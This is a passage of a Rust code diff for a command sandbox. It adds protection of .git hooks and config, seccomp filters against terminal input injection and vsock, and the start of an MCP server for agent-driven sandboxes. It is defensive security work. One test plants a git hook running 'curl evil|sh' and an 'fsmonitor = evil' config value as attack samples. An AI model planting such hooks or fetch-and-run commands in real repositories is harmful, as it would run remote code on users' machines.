command +//! cannot write them anyway. + +use std::collections::BTreeMap; +use std::path::{Path, PathBuf}; + +/// The default protected paths, relative to each writable root's `.git`. +pub const GIT_PROTECTED: &[&str] = &["hooks", "config"]; + +/// At most this much is snapshotted; a larger tree is reported, not copied. +const MAX_BYTES: u64 = 16 * 1024 * 1024; + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Entry { + File { bytes: Vec, mode: u32 }, + Dir, + Link(PathBuf), +} + +/// What the protected paths held before the command ran. +#[derive(Debug, Default)] +pub struct Snapshot { + paths: Vec, + entries: BTreeMap, + /// Protected paths too large to snapshot (not restored). + pub skipped: Vec, +} + +/// The protected paths for these writable roots: each root's git directory +/// (resolving `gitdir:` and `commondir`) `hooks` and `config`, kept only when +/// inside a writable root. +#[must_use] +pub fn git_paths(roots: &[PathBuf]) -> Vec { + let mut out = Vec::new(); + for root in roots { + for git_dir in git_dirs(root) { + for name in GIT_PROTECTED { + let p = git_dir.join(name); + if roots.iter().any(|r| p.starts_with(r)) && !out.contains(&p) { + out.push(p); + } + } + } + } + out +} + +/// A root's git directory and, for a worktree, its common directory. +fn git_dirs(root: &Path) -> Vec { + let dot_git = root.join(".git"); + let Ok(meta) = dot_git.symlink_metadata() else { + return Vec::new(); + }; + let git_dir = if meta.is_dir() { + dot_git + } else if meta.is_file() { + let Ok(text) = std::fs::read_to_string(&dot_git) else { + return Vec::new(); + }; + let Some(target) = text.trim().strip_prefix("gitdir:") else { + return Vec::new(); + }; + let target = Path::new(target.trim()); + let abs = if target.is_absolute() { + target.to_path_buf() + } else { + root.join(target) + }; + match std::fs::canonicalize(abs) { + Ok(p) => p, + Err(_) => return Vec::new(), + } + } else { + return Vec::new(); + }; + let mut dirs = vec![git_dir.clone()]; + if let Ok(common) = std::fs::read_to_string(git_dir.join("commondir")) { + let c = Path::new(common.trim()); + let abs = if c.is_absolute() { + c.to_path_buf() + } else { + git_dir.join(c) + }; + if let Ok(abs) = std::fs::canonicalize(abs) { + if !dirs.contains(&abs) { + dirs.push(abs); + } + } + } + dirs +} + +impl Snapshot { + /// Record what `paths` hold now. Symlinks are recorded, never followed. + #[must_use] + pub fn take(paths: Vec) -> Self { + let mut s = Self { + paths: Vec::new(), + ..Self::default() + }; + for p in paths { + let mut entries = BTreeMap::new(); + let mut budget = MAX_BYTES; + if record(&p, &mut entries, &mut budget) { + s.entries.extend(entries); + s.paths.push(p); + } else { + s.skipped.push(p); + } + } + s + } + + /// The protected paths being watched. + #[must_use] + pub fn paths(&self) -> &[PathBuf] { + &self.paths + } + + /// Put back whatever changed under the protected paths, and say what. + /// Never follows a link the command made: a link where a folder was is + /// removed, not written through. + pub fn restore(&self) -> Vec { + let mut changed = Vec::new(); + for root in &self.paths { + let mut now = BTreeMap::new(); + let mut budget = u64::MAX; + record(root, &mut now, &mut budget); + // Remove what was added or changed type, deepest first. + let mut extra: Vec<&PathBuf> = now + .keys() + .filter(|k| match (now.get(*k), self.entries.get(*k)) { + (Some(n), Some(o)) => std::mem::discriminant(n) != std::mem::discriminant(o), + _ => true, + }) + .collect(); + extra.sort_by_key(|p| std::cmp::Reverse(p.components().count())); + for p in extra { + let gone = match p.symlink_metadata() { + Ok(m) if m.is_dir() && !m.file_type().is_symlink() => { + std::fs::remove_dir_all(p) + } + _ => std::fs::remove_file(p), + }; + if gone.is_ok() { + changed.push(format!("removed {}", p.display())); + } + } + // Put back what was there, shallowest first. + for (p, before) in self.entries.iter().filter(|(p, _)| p.starts_with(root)) { + let after = { + let mut one = BTreeMap::new(); + let mut b = u64::MAX; + record_one(p, &mut one, &mut b); + one.remove(p) + }; + if after.as_ref() == Some(before) { + continue; + } + if restore_one(p, before).is_ok() { + changed.push(format!("restored {}", p.display())); + } + } + } + changed.sort(); + changed.dedup(); + changed + } +} + +/// Record `path` and everything beneath it. False when over the budget. +fn record(path: &Path, into: &mut BTreeMap, budget: &mut u64) -> bool { + if !record_one(path, into, budget) { + return false; + } + if matches!(into.get(path), Some(Entry::Dir)) { + let Ok(rd) = std::fs::read_dir(path) else { + return true; + }; + for e in rd.filter_map(Result::ok) { + if !record(&e.path(), into, budget) { + return false; + } + } + } + true +} + +fn record_one(path: &Path, into: &mut BTreeMap, budget: &mut u64) -> bool { + let Ok(meta) = path.symlink_metadata() else { + return true; + }; + let entry = if meta.file_type().is_symlink() { + Entry::Link(std::fs::read_link(path).unwrap_or_default()) + } else if meta.is_dir() { + Entry::Dir + } else { + if meta.len() > *budget { + return false; + } + *budget -= meta.len(); + let bytes = std::fs::read(path).unwrap_or_default(); + Entry::File { + bytes, + mode: mode_of(&meta), + } + }; + into.insert(path.to_path_buf(), entry); + true +} + +fn restore_one(path: &Path, before: &Entry) -> std::io::Result<()> { + if let Ok(m) = path.symlink_metadata() { + if m.is_dir() && !m.file_type().is_symlink() { + if matches!(before, Entry::Dir) { + return Ok(()); + } + std::fs::remove_dir_all(path)?; + } else { + std::fs::remove_file(path)?; + } + } + match before { + Entry::Dir => std::fs::create_dir(path), + Entry::Link(target) => link(target, path), + Entry::File { bytes, mode } => { + let mut opts = std::fs::OpenOptions::new(); + opts.write(true).create_new(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt; + opts.mode(*mode).custom_flags(libc::O_NOFOLLOW); + } + let _ = mode; + let mut f = opts.open(path)?; + std::io::Write::write_all(&mut f, bytes) + } + } +} + +#[cfg(unix)] +fn mode_of(meta: &std::fs::Metadata) -> u32 { + use std::os::unix::fs::PermissionsExt; + meta.permissions().mode() & 0o7777 +} + +#[cfg(not(unix))] +fn mode_of(_meta: &std::fs::Metadata) -> u32 { + 0o644 +} + +#[cfg(unix)] +fn link(target: &Path, path: &Path) -> std::io::Result<()> { + std::os::unix::fs::symlink(target, path) +} + +#[cfg(not(unix))] +fn link(_target: &Path, _path: &Path) -> std::io::Result<()> { + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn repo() -> (tempfile::TempDir, PathBuf) { + let dir = tempfile::tempdir().expect("tempdir"); + let root = std::fs::canonicalize(dir.path()).expect("canon"); + std::fs::create_dir_all(root.join(".git/hooks")).expect("hooks"); + std::fs::write(root.join(".git/config"), "[core]\n").expect("config"); + std::fs::write(root.join(".git/hooks/pre-commit.sample"), "#!/bin/sh\n").expect("hook"); + (dir, root) + } + + #[test] + fn planted_hooks_and_config_changes_are_undone() { + let (_d, root) = repo(); + let snap = Snapshot::take(git_paths(std::slice::from_ref(&root))); + assert_eq!(snap.paths().len(), 2); + + std::fs::write( + root.join(".git/hooks/pre-commit"), + "#!/bin/sh\ncurl evil|sh\n", + ) + .expect("plant"); + std::fs::write(root.join(".git/config"), "[core]\nfsmonitor = evil\n").expect("cfg"); + std::fs::remove_file(root.join(".git/hooks/pre-commit.sample")).expect("rm"); + std::fs::write(root.join("src.rs"), "fine").expect("ordinary work"); + + let changed = snap.restore(); + assert!(!root.join(".git/hooks/pre-commit").exists(), "{changed:?}"); + assert_eq!( + std::fs::read_to_string(root.join(".git/config")).expect("cfg"), + "[core]\n" + ); + assert!(root.join(".git/hooks/pre-commit.sample").exists()); + assert!(root.join("src.rs").exists(), "ordinary work is untouched"); + assert_eq!(changed.len(), 3, "{changed:?}"); + assert!(snap.restore().is_empty(), "nothing left to undo"); + } + + #[cfg(unix)] + #[test] + fn a_hooks_folder_swapped_for_a_link_is_removed_not_followed() { + let (_d, root) = repo(); + let elsewhere = tempfile::tempdir().expect("elsewhere"); + let snap = Snapshot::take(git_paths(std::slice::from_ref(&root))); + std::fs::remove_dir_all(root.join(".git/hooks")).expect("rm"); + std::os::unix::fs::symlink(elsewhere.path(), root.join(".git/hooks")).expect("link"); + snap.restore(); + let meta = root.join(".git/hooks").symlink_metadata().expect("meta"); + assert!(meta.is_dir() && !meta.file_type().is_symlink()); + assert!(root.join(".git/hooks/pre-commit.sample").exists()); + assert_eq!(std::fs::read_dir(elsewhere.path()).expect("rd").count(), 0); + } + + #[test] + fn a_worktree_protects_the_git_dir_it_names_when_writable() { + let (_d, main) = repo(); + std::fs::create_dir_all(main.join(".git/worktrees/wt")).expect("wt"); + std::fs::write(main.join(".git/worktrees/wt/commondir"), "../..\n").expect("common"); + let wt = main.join("wt"); + std::fs::create_dir(&wt).expect("wt dir"); + std::fs::write( + wt.join(".git"), + format!("gitdir: {}\n", main.join(".git/worktrees/wt").display()), + ) + .expect("gitfile"); + // Only the worktree is writable: the main repository's hooks are out + // of reach anyway, so nothing there needs watching. + assert!(git_paths(std::slice::from_ref(&wt)).is_empty()); + // Both writable: the common dir's hooks and config are watched. + let paths = git_paths(&[wt.clone(), main.clone()]); + assert!(paths.contains(&main.join(".git/hooks")), "{paths:?}"); + assert!(paths.contains(&main.join(".git/config")), "{paths:?}"); + } +} diff --git a/crates/sandbox/src/seatbelt.rs b/crates/sandbox/src/seatbelt.rs index b35c904..691e948 100644 --- a/crates/sandbox/src/seatbelt.rs +++ b/crates/sandbox/src/seatbelt.rs @@ -24,6 +24,7 @@ pub fn profile( fs: FsMode, roots: usize, deny_read: usize, + protected: usize, net: NetMode, proxy_port: Option, ) -> String { @@ -40,6 +41,10 @@ pub fn profile( (literal \"/dev/dtracehelper\") (regex #\"^/dev/fd/[0-9]+$\") \ (regex #\"^/dev/ttys[0-9]+$\"))" )); + // Last match wins: these come after the root's allow. + for i in 0..protected { + p.push_str(&format!(" (deny file-write* (subpath (param \"PR{i}\")))")); + } for i in 0..deny_read { p.push_str(&format!(" (deny file-read* (subpath (param \"DR{i}\")))")); } @@ -70,7 +75,7 @@ mod tests { #[test] fn workspace_write_denies_then_allows_the_roots() { - let p = profile(FsMode::WorkspaceWrite, 2, 0, NetMode::Allow, None); + let p = profile(FsMode::WorkspaceWrite, 2, 0, 0, NetMode::Allow, None); let deny = p.find("(deny file-write*").expect("deny"); let allow = p.find("(allow file-write*").expect("allow"); assert!(deny < allow, "the deny comes first: {p}"); @@ -80,24 +85,24 @@ mod tests { #[test] fn read_only_has_only_the_temp_dir_and_sinks() { - let p = profile(FsMode::ReadOnly, 0, 0, NetMode::Allow, None); + let p = profile(FsMode::ReadOnly, 0, 0, 0, NetMode::Allow, None); assert!(!p.contains("WS0")); assert!(p.contains("(param \"TMP\")")); } #[test] fn proxy_allows_exactly_the_proxy_port() { - let p = profile(FsMode::Off, 0, 0, NetMode::Proxy, Some(41234)); + let p = profile(FsMode::Off, 0, 0, 0, NetMode::Proxy, Some(41234)); assert!(p.contains("(deny network*)")); assert!(p.contains("(remote ip \"localhost:41234\")")); assert!(!p.contains("file-write")); - let deny = profile(FsMode::Off, 0, 0, NetMode::Deny, None); + let deny = profile(FsMode::Off, 0, 0, 0, NetMode::Deny, None); assert!(!deny.contains("remote ip")); } #[test] fn deny_read_comes_after_the_allow_default() { - let p = profile(FsMode::ReadOnly, 0, 2, NetMode::Allow, None); + let p = profile(FsMode::ReadOnly, 0, 2, 0, NetMode::Allow, None); let allow = p.find("(allow default)").expect("allow"); let deny = p .find("(deny file-read* (subpath (param \"DR0\")))") @@ -106,10 +111,21 @@ mod tests { assert!(p.contains("(param \"DR1\")")); } + #[test] + fn protected_paths_are_denied_after_the_root_is_allowed() { + let p = profile(FsMode::WorkspaceWrite, 1, 0, 2, NetMode::Allow, None); + let allow = p.find("(allow file-write*").expect("allow"); + let deny = p + .find("(deny file-write* (subpath (param \"PR0\")))") + .expect("PR0"); + assert!(allow < deny, "{p}"); + assert!(p.contains("(param \"PR1\")")); + } + #[test] fn parentheses_balance() { for net in [NetMode::Allow, NetMode::Deny, NetMode::Proxy] { - let p = profile(FsMode::WorkspaceWrite, 3, 2, net, Some(1)); + let p = profile(FsMode::WorkspaceWrite, 3, 2, 0, net, Some(1)); let open = p.matches('(').count(); let close = p.matches(')').count(); assert_eq!(open, close, "{p}"); diff --git a/crates/sandbox/src/seccomp.rs b/crates/sandbox/src/seccomp.rs index 4cef292..9c7ef1f 100644 --- a/crates/sandbox/src/seccomp.rs +++ b/crates/sandbox/src/seccomp.rs @@ -1,13 +1,32 @@ -//! Linux: a seccomp filter for the sockets Landlock does not see. +//! Linux: a seccomp filter for what Landlock does not see. //! -//! Landlock's network rules cover TCP `bind` and `connect` and nothing else, -//! so under `network = "deny"` or `"proxy"` a command could still send UDP -//! (DNS included), open a raw or packet socket, or speak a stream protocol -//! that is not TCP (SCTP, MPTCP). This filter closes that by refusing to -//! CREATE such sockets: `socket()` fails with `EACCES`, as Landlock's own -//! refusals do, so programs report "permission denied" rather than crash. +//! The filter has two layers, assembled into one program. It is installed +//! whenever the filesystem is confined or the network is `deny`/`proxy`. //! -//! It is an allowlist of socket families, not a list of what to block: +//! The first layer is always there: +//! - `ioctl(TIOCSTI)` and `ioctl(TIOCLINUX)` fail with `EPERM`. `TIOCSTI` +//! pushes bytes into a terminal's input queue as if typed; a command +//! sharing the caller's terminal could type a line into the shell that +//! waits there once it exits, and that line would run unconfined. +//! `TIOCLINUX` can do the same on a virtual console (paste the selection). +//! The request is an `unsigned int`; the kernel ignores the upper half of +//! the 64-bit register, so only the low 32 bits are compared. Every other +//! ioctl passes. +//! - `socket(AF_VSOCK, ...)` fails with `EACCES`. vsock talks to a VM's host +//! directly, around the network stack and so around Landlock; on WSL2 it +//! reaches the Windows side (interop), which would run Windows programs. +//! - `io_uring_setup`, `_enter` and `_register` fail with `EPERM`. io_uring +//! performs operations (sockets included) without the syscalls a filter +//! sees. Docker's default profile does the same, and runtimes fall back to +//! plain syscalls. +//! +//! The second layer only under `network = "deny"` or `"proxy"`. Landlock's +//! network rules cover TCP `bind` and `connect` and nothing else, so a +//! command could still send UDP (DNS included), open a raw or packet socket, +//! or speak a stream protocol that is not TCP (SCTP, MPTCP). This layer +//! refuses to CREATE such sockets: `socket()` fails with `EACCES`, as +//! Landlock's own refusals do, so programs report "permission denied" +//! rather than crash. It is an allowlist of socket families: //! - `AF_UNIX`: local IPC (an ssh-agent, a build daemon, a language server). //! - `AF_INET`/`AF_INET6` with `SOCK_STREAM` and protocol 0 or TCP: plain //! TCP, which Landlock then confines (nothing, or the proxy's port). The @@ -23,24 +42,24 @@ //! the host's interfaces, as it could by reading `/proc/net`. //! //! Everything else is refused: UDP, ICMP "ping" sockets, raw, `AF_PACKET`, -//! SCTP, MPTCP, and the families no build needs (`AF_VSOCK`, which reaches a -//! VM's host; Bluetooth; CAN; and so on). +//! SCTP, MPTCP, and the families no build needs (Bluetooth, CAN, ...). //! -//! Two other ways to make a socket are closed with it: -//! - `io_uring` can create sockets and send on them without the syscalls a -//! seccomp filter sees, so `io_uring_setup` fails with `EPERM` (what -//! Docker's default profile does; runtimes fall back to plain syscalls). -//! - On x86-64 a 64-bit process can still make 32-bit syscalls. Those are -//! checked too, and the 32-bit `socketcall(SYS_SOCKET)`, whose arguments -//! sit in memory a filter cannot read, is refused outright (32-bit glibc -//! uses the direct `socket` syscall on any current kernel). The x32 ABI -//! shares x86-64's syscall numbers with one bit set, which is masked. +//! Other ABIs: on x86-64 a 64-bit process can still make 32-bit syscalls. +//! Those are checked too (i386's own `socket` and `ioctl` numbers), and the +//! 32-bit `socketcall(SYS_SOCKET)`, whose arguments sit in memory a filter +//! cannot read, is refused outright in both layers, since it could otherwise +//! make a vsock socket (32-bit glibc uses the direct `socket` syscall on +//! any current kernel). The x32 ABI shares x86-64's syscall numbers with one +//! bit set, which is masked; its own `ioctl` entry (514) is checked as well. +//! On aarch64, 32-bit ARM is checked with its own numbers. //! //! Not covered: `socketpair` (it only makes connected local pairs), sockets -//! passed in already open (`sbx` passes none but stdio), and name lookups a -//! local daemon does on the command's behalf over a Unix socket: with -//! `nss-resolve` (systemd-resolved) or `nscd` in `/etc/nsswitch.conf`, -//! `getaddrinfo` still answers, and the name reaches the resolver. +//! and terminals passed in already open (`sbx` passes none but stdio; a +//! terminal on stdio can still be written to and read from, which is what +//! a terminal is for), and name lookups a local daemon does on the +//! command's behalf over a Unix socket: with `nss-resolve` +//! (systemd-resolved) or `nscd` in `/etc/nsswitch.conf`, `getaddrinfo` +//! still answers, and the name reaches the resolver. //! //! The filter is written by hand: a few dozen BPF instructions do not justify //! a dependency. It knows x86-64 (with i386 and x32) and aarch64 (with @@ -67,11 +86,16 @@ const SOCK_TYPE_MASK: u32 = 0xf; const SYS_SOCKET: u32 = 1; /// `io_uring_setup`, `_enter` and `_register` have one number everywhere. const IO_URING: [u32; 3] = [425, 426, 427]; +/// Terminal ioctls that inject input; the same numbers on x86 and ARM. +const TIOCSTI: u32 = 0x5412; +const TIOCLINUX: u32 = 0x541C; /// One syscall ABI the kernel may be entered through. struct Abi { arch: u32, socket: u32, + /// `ioctl`, and on x32 its compat entry as well. + ioctl: &'static [u32], /// The multiplexed `socketcall`, where the ABI has one. socketcall: Option, /// Mask `X32_SYSCALL_BIT` off the syscall number first. @@ -84,12 +108,14 @@ const X86_64: &[Abi] = &[ Abi { arch: AUDIT_ARCH_X86_64, socket: 41, + ioctl: &[16, 514], socketcall: None, x32: true, }, Abi { arch: AUDIT_ARCH_I386, socket: 359, + ioctl: &[54], socketcall: Some(102), x32: false, }, @@ -101,12 +127,14 @@ const AARCH64: &[Abi] = &[ Abi { arch: AUDIT_ARCH_AARCH64, socket: 198, + ioctl: &[29], socketcall: None, x32: false, }, Abi { arch: AUDIT_ARCH_ARM, socket: 281, + ioctl: &[54], socketcall: None, x32: false, }, @@ -152,15 +180,21 @@ pub(crate) fn status() -> Status { } } +/// Whether this architecture has a filter at all. +pub(crate) fn available() -> bool { + ABIS.is_some() +} + /// Install the filter on the CALLING thread (the helper, single-threaded, /// just before it execs); every process it starts inherits it, and it cannot -/// be removed. +/// be removed. `network` adds the socket allowlist (`deny`/`proxy`) to the +/// layer that is always there. /// /// # Errors /// On an architecture without a filter, or when the kernel refuses it. -pub(crate) fn restrict_sockets() -> Result<(), String> { - let program = - program().ok_or_else(|| format!("no seccomp filter for {} yet", std::env::consts::ARCH))?; +pub(crate) fn install(network: bool) -> Result<(), String> { + let program = program(network) + .ok_or_else(|| format!("no seccomp filter for {} yet", std::env::consts::ARCH))?; let mut filter: Vec = program; let prog = libc::sock_fprog { len: u16::try_from(filter.len()).map_err(|_| "seccomp filter too long")?, @@ -193,7 +227,8 @@ pub(crate) fn restrict_sockets() -> Result<(), String> { // Offsets into `struct seccomp_data`: nr, arch, then six u64 args. Both // architectures are little-endian, so an argument's low 32 bits come first, -// and the kernel reads `socket`'s int arguments as exactly those bits. +// and the kernel reads `socket`'s int arguments and `ioctl`'s unsigned int +// request as exactly those bits. const NR: u32 = 0; const ARCH: u32 = 4; const fn arg(i: u32) -> u32 { @@ -221,11 +256,12 @@ const EACCES: u32 = libc::SECCOMP_RET_ERRNO | libc::EACCES as u32; const EPERM: u32 = libc::SECCOMP_RET_ERRNO | libc::EPERM as u32; /// The BPF program for this architecture, or `None` where there is none. -pub(crate) fn program() -> Option> { - ABIS.map(|abis| assemble(&source(abis))) +/// `network` adds the socket allowlist. +pub(crate) fn program(network: bool) -> Option> { + ABIS.map(|abis| assemble(&source(abis, network))) } -fn source(abis: &[Abi]) -> Vec { +fn source(abis: &[Abi], network: bool) -> Vec { use Ins::{And, Jeq, Label, Load, Ret}; use To::{Label as L, Next}; const ABI_LABELS: [&str; 2] = ["abi0", "abi1"]; @@ -250,6 +286,9 @@ fn source(abis: &[Abi]) -> Vec { if let Some(nr) = abi.socketcall { p.push(Jeq(nr, L(CALL_LABELS[i]), Next)); } + for &nr in abi.ioctl { + p.push(Jeq(nr, L("ioctl"), Next)); + } for nr in IO_URING { p.push(Jeq(nr, L("eperm"), Next)); } @@ -261,20 +300,35 @@ fn source(abis: &[Abi]) -> Vec { } } + // Layer one, always: terminal input injection and vsock. p.extend([ + Label("ioctl"), + Load(arg(1)), + Jeq(TIOCSTI, L("eperm"), Next), + Jeq(TIOCLINUX, L("eperm"), L("allow")), Label("socket"), Load(arg(0)), - Jeq(libc::AF_UNIX as u32, L("allow"), Next), - Jeq(libc::AF_NETLINK as u32, L("allow"), Next), - Jeq(libc::AF_INET as u32, L("inet"), Next), - Jeq(libc::AF_INET6 as u32, L("inet"), L("eacces")), - Label("inet"), - Load(arg(1)), - And(SOCK_TYPE_MASK), - Jeq(libc::SOCK_STREAM as u32, Next, L("eacces")), - Load(arg(2)), - Jeq(0, L("allow"), Next), - Jeq(libc::IPPROTO_TCP as u32, L("allow"), L("eacces")), + Jeq(libc::AF_VSOCK as u32, L("eacces"), Next), + ]); + if network { + // Layer two, under deny/proxy: the family allowlist. + p.extend([ + Jeq(libc::AF_UNIX as u32, L("allow"), Next), + Jeq(libc::AF_NETLINK as u32, L("allow"), Next), + Jeq(libc::AF_INET as u32, L("inet"), Next), + Jeq(libc::AF_INET6 as u32, L("inet"), L("eacces")), + Label("inet"), + Load(arg(1)), + And(SOCK_TYPE_MASK), + Jeq(libc::SOCK_STREAM as u32, Next, L("eacces")), + Load(arg(2)), + Jeq(0, L("allow"), Next), + Jeq(libc::IPPROTO_TCP as u32, L("allow"), L("eacces")), + ]); + } else { + p.push(Ret(ALLOW)); + } + p.extend([ Label("allow"), Ret(ALLOW), Label("eacces"), @@ -368,8 +422,88 @@ mod tests { const DGRAM: u32 = libc::SOCK_DGRAM as u32; const FLAGS: u32 = (libc::SOCK_NONBLOCK | libc::SOCK_CLOEXEC) as u32; + /// What both layers decide, whatever the network mode. + fn check_always(abi: &Abi, network: bool) { + let prog = assemble(&source(std::slice::from_ref(abi), network)); + let ioctl = |fd: u32, req: u32| { + abi.ioctl + .iter() + .map(|&nr| run(&prog, abi.arch, nr, [fd, req, 0])) + .collect::>() + }; + let all = |v: Vec, want: u32| v.iter().all(|&r| r == want); + assert!(all(ioctl(0, TIOCSTI), EPERM), "TIOCSTI"); + assert!(all(ioctl(5, TIOCLINUX), EPERM), "TIOCLINUX"); + assert!(all(ioctl(0, libc::TIOCGWINSZ as u32), ALLOW), "TIOCGWINSZ"); + assert!(all(ioctl(0, libc::TCGETS as u32), ALLOW), "TCGETS"); + assert!(all(ioctl(0, libc::FIONREAD as u32), ALLOW), "FIONREAD"); + let sock = |family: i32, ty: u32| run(&prog, abi.arch, abi.socket, [family as u32, ty, 0]); + assert_eq!(sock(libc::AF_VSOCK, STREAM), EACCES); + assert_eq!(sock(libc::AF_VSOCK, DGRAM | FLAGS), EACCES); + assert_eq!(sock(libc::AF_UNIX, STREAM), ALLOW); + assert_eq!(sock(libc::AF_INET, STREAM), ALLOW); + for nr in IO_URING { + assert_eq!(run(&prog, abi.arch, nr, [0; 3]), EPERM); + } + assert_eq!(run(&prog, abi.arch, 0, [2, 2, 0]), ALLOW); + if let Some(nr) = abi.socketcall { + assert_eq!(run(&prog, abi.arch, nr, [SYS_SOCKET, 0, 0]), EACCES); + assert_eq!(run(&prog, abi.arch, nr, [3, 0, 0]), ALLOW, "connect"); + } + if abi.x32 { + for &nr in abi.ioctl { + let nr = nr | X32_SYSCALL_BIT; + assert_eq!(run(&prog, abi.arch, nr, [0, TIOCSTI, 0]), EPERM); + } + let nr = abi.socket | X32_SYSCALL_BIT; + let vsock = [libc::AF_VSOCK as u32, STREAM, 0]; + assert_eq!(run(&prog, abi.arch, nr, vsock), EACCES); + } + } + + #[test] + fn every_known_abi_refuses_tiocsti_vsock_and_io_uring_in_both_layers() { + for abi in X86_64.iter().chain(AARCH64) { + check_always(abi, false); + check_always(abi, true); + } + } + + #[test] + fn without_the_network_layer_other_sockets_pass() { + for abi in X86_64.iter().chain(AARCH64) { + let prog = assemble(&source(std::slice::from_ref(abi), false)); + for args in [ + [libc::AF_INET as u32, DGRAM, 0], + [libc::AF_INET6 as u32, libc::SOCK_RAW as u32, 0], + [libc::AF_PACKET as u32, libc::SOCK_RAW as u32, 0], + [libc::AF_INET as u32, STREAM, libc::IPPROTO_SCTP as u32], + ] { + assert_eq!(run(&prog, abi.arch, abi.socket, args), ALLOW, "{args:?}"); + } + } + } + + #[test] + fn the_ioctl_request_is_compared_on_its_low_32_bits_only() { + // The interpreter, like the kernel's BPF, sees the low word of the + // argument; the program must not load the high word (offset + 4). + for abi in X86_64.iter().chain(AARCH64) { + let prog = assemble(&source(std::slice::from_ref(abi), true)); + for ins in &prog { + if u32::from(ins.code) == libc::BPF_LD | libc::BPF_W | libc::BPF_ABS { + assert!( + ins.k == NR || ins.k == ARCH || (ins.k - 16) % 8 == 0, + "loads a high word at {}", + ins.k + ); + } + } + } + } + fn check(abi: &Abi) { - let prog = assemble(&source(std::slice::from_ref(abi))); + let prog = assemble(&source(std::slice::from_ref(abi), true)); let sock = |family: i32, ty: u32, proto: i32| { run( &prog, @@ -417,7 +551,7 @@ mod tests { #[test] fn the_installed_program_checks_both_abis_and_kills_unknown_ones() { - let Some(prog) = program() else { return }; + let Some(prog) = program(true) else { return }; let abis = ABIS.expect("abis"); for abi in abis { let udp = [libc::AF_INET as u32, DGRAM, 0]; @@ -429,5 +563,15 @@ mod tests { run(&prog, 0xdead_beef, 0, [0; 3]), libc::SECCOMP_RET_KILL_PROCESS ); + let Some(prog) = program(false) else { return }; + for abi in abis { + assert_eq!(run(&prog, abi.arch, abi.ioctl[0], [1, TIOCSTI, 0]), EPERM); + let udp = [libc::AF_INET as u32, DGRAM, 0]; + assert_eq!(run(&prog, abi.arch, abi.socket, udp), ALLOW); + } + assert_eq!( + run(&prog, 0xdead_beef, 0, [0; 3]), + libc::SECCOMP_RET_KILL_PROCESS + ); } } diff --git a/crates/sandbox/src/server.rs b/crates/sandbox/src/server.rs new file mode 100644 index 0000000..257a289 --- /dev/null +++ b/crates/sandbox/src/server.rs @@ -0,0 +1,780 @@ +//! `sbx mcp`: sandboxes as a service an agent drives over MCP (stdio). +//! +//! An agent creates a sandbox, writes scripts and files into it, runs them, +//! reads what they produced, and throws it away. Every run happens under the +//! same policy machinery as `sbx run`: the command may write only inside its +//! sandbox's folder, sees the network only as the operator allowed, gets a +//! cleaned environment, and is killed at its time limit along with anything +//! it started. +//! +//! # Who decides what +//! +//! The OPERATOR (whoever starts `sbx mcp`) sets the ceilings: how much +//! network a sandbox may ever have, which hosts, the longest a run may take. +//! The AGENT (whoever sends the tool calls) chooses within them, and gets +//! less by default: no network, no inherited secrets. A request above a +//! ceiling is refused, not quietly lowered, so the agent knows why. +//! +//! # Files the server touches for the agent +//! +//! `sandbox_write_file`, `_read_file` and `_list` run in the server, which is +//! NOT confined, on paths the agent names. So a path must be relative, may +//! not contain `..`, and no part of it may be a symlink (checked component by +//! component): a script run earlier could otherwise have left a link that +//! points the unconfined server out of the sandbox. Runs are one at a time, +//! and after each run the whole process group is killed, so nothing the +//! agent started is still running to swap a link in between the check and +//! the write. + +use std::collections::BTreeMap; +use std::ffi::OsString; +use std::io::{BufRead, Write}; +use std::path::{Component, Path, PathBuf}; + +use serde_json::{json, Value}; + +use crate::policy::{FsMode, Inherit, NetMode, Policy}; +use crate::Sandbox; + +/// What the operator allows every sandbox, at most. +#[derive(Debug, Clone)] +pub struct Ceilings { + /// The most network a sandbox may ask for. + pub network: NetMode, + /// Under `proxy`: the hosts a sandbox may name (all of them when the + /// ceiling is `allow`). + pub hosts: Vec, + /// The longest one run may take. + pub max_wall_secs: u64, + /// The policy every sandbox starts from (environment, limits). + pub base: Policy, + /// Where sandboxes live. + pub root: PathBuf, + /// Leave sandboxes on disk when the server stops. + pub keep: bool, + /// Run with what can be enforced when not everything can. + pub best_effort: bool, +} + +impl Ceilings { + /// The defaults: no network, ten minutes a run, an empty environment + /// apart from the essentials, 4 GB of memory and 1 GB files per process. + /// On Windows there is no file size limit: Windows cannot enforce one, + /// and a default every run is refused for would make the server useless. + #[must_use] + pub fn new(root: PathBuf) -> Self { + let mut base = Policy::default(); + base.env.inherit = Inherit::None; + base.limits.memory_mb = Some(4096); + base.limits.file_size_mb = (!cfg!(windows)).then_some(1024); + Self { + network: NetMode::Deny, + hosts: Vec::new(), + max_wall_secs: 600, + base, + root, + keep: false, + best_effort: false, + } + } +} + +impl Ceilings { + /// The most a sandbox under these ceilings may ask for, as one policy: + /// what a caller checks to know whether this machine can serve them + /// (`sbx.exe` choosing between native Windows and WSL2). + #[must_use] + pub fn widest_policy(&self) -> Policy { + let mut p = self.base.clone(); + p.fs.mode = FsMode::WorkspaceWrite; + p.fs.write = vec![self.root.clone()]; + p.network.mode = self.network; + p.network.allow = self.hosts.clone(); + p.limits.wall_secs = Some(self.max_wall_secs); + p + } +} + +struct Box_ { + dir: PathBuf, + network: NetMode, + hosts: Vec, + runs: u32, +} + +/// The server's state: its ceilings and the live sandboxes. +pub struct Server { + ceilings: Ceilings, + boxes: BTreeMap, + next: u32, +} + +const MAX_OUTPUT: usize = 64 * 1024; +const MAX_READ: usize = 256 * 1024; +const DEFAULT_TIMEOUT: u64 = 120; + +impl Server { + #[must_use] + pub fn new(ceilings: Ceilings) -> Self { + Self { + ceilings, + boxes: BTreeMap::new(), + next: 0, + } + } + + /// Serve MCP over `input`/`output` (newline-delimited JSON-RPC) until the + /// input ends; then remove the sandboxes unless asked to keep them. + /// + /// # Errors + /// When the output cannot be written. + pub fn serve(&mut self, input: impl BufRead, mut output: impl Write) -> std::io::Result<()> { + for line in input.lines() { + let line = line?; + if line.trim().is_empty() { + continue; + } + if let Some(reply) = self.handle(&line) { + writeln!(output, "{reply}")?; + output.flush()?; + } + } + if !self.ceilings.keep { + let ids: Vec = self.boxes.keys().cloned().collect(); + for id in ids { + let _ = self.destroy(&id); + } + } + Ok(()) + } + + /// One JSON-RPC message in, the reply out (none for a notification). + pub fn handle(&mut self, line: &str) -> Option { + let msg: Value = match serde_json::from_str(line) { + Ok(v) => v, + Err(e) => return Some(error(Value::Null, -32700, &format!("parse error: {e}"))), + }; + let id = msg.get("id").cloned()?; + let method = 